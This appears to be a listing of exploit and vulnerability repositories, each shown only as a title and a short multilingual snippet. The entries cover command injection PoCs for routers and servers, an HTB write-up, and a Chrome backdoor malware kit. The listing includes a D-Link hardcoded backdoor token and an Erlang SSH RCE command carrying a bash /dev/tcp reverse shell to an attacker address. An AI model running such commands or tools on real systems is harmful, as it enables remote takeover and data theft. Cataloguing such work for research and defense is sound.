CVE-2026-95675

CVE-2026-95675 — D-Link DAP-1360 RevB formSystemCheck 핸들러에서 하드코딩된 인증 백도어를 통해 도달 가능한 인증되지 않은 원격 루트 명령 실행CWE-78 — OS 명령 주입. DAP-1360 RevB, 펌웨어 2.14B05 에서 검증됨. 근본 원인 두 가지 독립적인 문제가 연쇄됨: 1. 하드코딩된 인증 우회 경로. main httpd @ 0x4064c8에서: strcasecmprequestpath, "dEfWzDLOgIn" ; token @ 0x48046c ... sw 1,...

CVE-2010-2075

CVE-2010-2075 — UnrealIRCd 3.2.8.1 백도어 익스플로잇 개요 UnrealIRCd 는 오픈소스 IRCInternet Relay Chat 서버로, 초기 채팅 플랫폼과 유사하게 네트워크를 통해 사용자들이 실시간으로 통신할 수 있게 해주는 프로토콜입니다. 20092010년에 걸쳐, 공식 다운로드 미러를 통해 배포된 UnrealIRCd 3.2.8.1이 침해당한 사실이 발견되었습니다. 공격자는 정상 소스 코드를 숨겨진 명령 실행 트리거가 포함된 백도어 버전으로 교체했습니다. 이는 공급망 공격 으로,...

CVE-2026-1961-foreman-poc

Foreman WebSocket Proxy Command Injection CVE-2026-1961 — PoC Proof-of-concept for a command injection vulnerability in Foreman's WebSocket proxy lib/wsproxy.rb, disclosed responsibly to Red Hat and patched. Summary Foreman's WebSocket proxy interpolates an unsanitized host value, sourced from a...

CVE-2026-73570

🔴 CVE-2026-73570 — 고위험 비인증 RCE ⚠️ 비인증 OS 명령 주입 → 원격 코드 실행 Zimbra Collaboration Suite · SNMP 알림 처리 🧠 개요 CVE-2026-73570 은 Zimbra Collaboration Suite 의 특정 구성에 영향을 미치는 고위험 OS 명령 주입 취약점 입니다. 이 취약점은 SNMP 알림 처리 구성 요소 와 관련이 있습니다. 취약한 구성에서는 SMTP 처리에서 비롯된 공격자 제어 데이터가 충분한 입력 무력화 없이 운영체제 명령 실행 컨텍스트에 도달할 수...

FORTIWEB_CVE-2025-64446-58034

FortiWeb 익스플로잇 시뮬레이션 CVE-2025-64446 & CVE-2025-58034 참고: 이 문서는 학습 및 보안 연구 목적으로만 제공됩니다. 허가 없이 시스템을 공격하는 데 사용하지 마십시오. 1. 개요 FortiWeb은 웹 애플리케이션을 보호하는 데 사용되는 Web Application FirewallWAF 장치입니다. 2025년에 두 가지 심각한 취약점이 발견되었습니다: CVE-2025-64446 – 경로 탐색을 통한 인증 우회 CVE-2025-58034 – OS 명령 삽입 2. CVE-2025-64446...

HTB-TwoMillion-Writeup

HTB-TwoMillion-분석기 HackTheBox TwoMillion 머신 분석기 — API 남용, 명령 삽입 및 CVE-2023-0386 HackTheBox — TwoMillion 분석기 HackTheBox — TwoMillion 분석기 머신 정보 필드| 세부사항 ---|--- 이름| TwoMillion 난이도| 쉬움 운영체제| Linux IP| 10.10.11.221 CVE| CVE-2023-0386 요약 TwoMillion은 이전 HackTheBox 플랫폼을 주제로 한 쉬운 난이도의 Linux 머신입니다. 초대 코드...

CVE-2026-76060_ZoneMinder_CommandInjection-PoC

just wait and see ZoneMinderのイベントエクスポート機能（web/includes/downloadfunctions.php）におけるOSコマンドインジェクション脆弱性の概念実証です。 モニター名は、escapeshellarg の代わりに手動のシングルクォートラップを使用してシェルコマンドに直接挿入されます。モニターを作成できる攻撃者は、任意のユーザーがイベントエクスポートをトリガーした際に、www-data（またはプロセスを実行しているユーザー）として実行される任意のシェルコマンドを注入できます。 根本原因 2023年10月4日のコミット 44c5c3c ...

chromebackdoor

Chrome browser backdoor VIDEO Install Text V 3.0 Install Video OLD Binder guide Module guide Form grabber plugins Facebook MessengerSpy plugins Jabber Notifier/ Hide Panel Windows infection Rubber Ducky Payload Require: pip install crxmake wine32 Let's go python chromebackdoor.py user: root pass:...

EUVD-2026-95328

IBM Guardium Data Protection 12.2.2, and 12.1 could allow a remote attacker to execute arbitrary SQL commands due to improper neutralization of special elements used in an SQL command...

EUVD-2026-95331

IBM Guardium Data Protection 12.2.2, and 12.1 could allow a remote attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command...

CVE-2025-32433

CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...

CVE-2025-55182-POC

CVE-2025-55182 Next.js RCE Scanner CVE-2025-55182 취약점 스캔 및 활용 도구로, Next.js 애플리케이션의 원격 코드 실행 취약점을 대상으로 합니다. 배치 감지, 명령 실행, 고질라 메모리 셸 주입 및 리버스 셸 기능을 지원합니다. ⚠️ 본 도구는 보안 연구 및 승인된 테스트에만 사용해야 하며, 불법적인 용도로 사용하지 마십시오. 기능 다중 대상 스캔 : 단일 URL, 파일 목록줄마다 하나의 URL 및 여러 .txt 파일이 포함된 폴더를 지원합니다. 멀티스레드 동시성 : 스레드 수를 사용...

CVE-2025-15545

CVE-2025-15545 Информация Производитель: TP-Link Веб-сайт производителя: TP-Link Модель: Archer RE605X Версия оборудования: RE605X v3.0 Версия прошивки: RE605XEUV31.1.5 Build 20240905 Адрес загрузки прошивки: TP-Link Цепочка уязвимостей, включающая использование жёстко заданных криптографических...

CVE-2025-5548

🛡️ CVE-2025-5548 – Эксплойт переполнения буфера FreeFloat FTP Server 📌 Обзор Этот репозиторий документирует обнаружение и эксплуатацию уязвимости переполнения буфера на стеке в приложении FreeFloat FTP Server. Уязвимость находится в обработке команды USER, где небезопасные операции с памятью strcp...

CVE-2026-26832

CVE-2026-26832: node-tesseract-ocr의 OS 명령 주입 요약 node-tesseract-ocr 버전 2.2.1까지는 src/index.js의 recognize에서 OS 명령 주입이 가능합니다. 이 패키지는 셸 명령 문자열을 구성한 뒤 childprocess.exec로 실행합니다. 입력 경로가 큰따옴표로만 감싸여 있기 때문에, 공격자는 조작된 파일 경로를 통해 셸 구문을 주입할 수 있습니다. 영향받는 제품 제품| 영향받는 버전| 수정 버전 ---|---|--- node-tesseract-ocr|...

PT-2026-108985

Name of the Vulnerable Software and Affected Versions Argo CD versions 2.11.0 through 3.3.14 Argo CD versions 3.4.0 through 3.4.9 Argo CD versions 3.5.0 through 3.5.3 Argo CD versions 3.6.0-rc1 and earlier Description The Argo CD repo-server is subject to command injection when cloning, testing, ...

CVE-2025-9090

CVE-2025-9090 Автор: Byte Reaper Описание Этот эксплойт нацелен на CVE-2025-9090 — уязвимость внедрения команд в маршрутизаторе Tenda AC20 v16.03.08.12. Проблема находится в конечной точке /goform/telnet, которая может быть вызвана удалённо. При обращении она запускает службу Telnet на устройстве...

CVE-2025-7769

CVE-2025-7769 – Удаленное внедрение команд в mobileapi Описание : Этот репозиторий содержит Proof‑of‑Concept PoC эксплойт для CVE‑2025‑7769 , критической уязвимости удаленного внедрения команд , обнаруженной в устройствах Tigo Energy CCA, которые предоставляют эндпоинт /cgi-bin/mobileapi...

CVE-2025-26794-exploit

CVE-2025-26794: Exim ETRN SQL 인젝션 익스플로잇 CVE-2025-26794에 대한 개념 증명PoC 익스플로잇 도구로, SQLite DBM 스토리지를 사용할 때 ETRN 명령을 통해 Exim 4.98 메일 서버의 SQL 인젝션 취약점을 시연합니다. ⚠️ 법적 고지 승인된 보안 테스트 전용 이 도구는 교육 목적 및 승인된 침투 테스트용으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 다음을 포함한 다양한 법률에 따라 불법입니다: 미국의 컴퓨터 사기 및 남용 법안CFAA 영국의 컴퓨터 남용 법안Compute...

MangoPunch-CVE-2022-31898

🥭 MangoPunch: CVE-2022-31898 GL.iNet 장치를 위한 인증된 OS 명령 주입 | / | | \ | | | \ / | | | | | | | |/| |/ | ' \ / |/ | / | | | ' \ / | ' \ | | | | | | | | | | | | | | || | | | | | | | | || ||,|| ||, |/|| ,|| |||| || / | |/ 🔍 취약점 개요 이 저장소는 펌웨어 버전 3.215 미만 의 GL.iNet MT300N-V2 Mango 및 기타 모델에서 발견된 원격...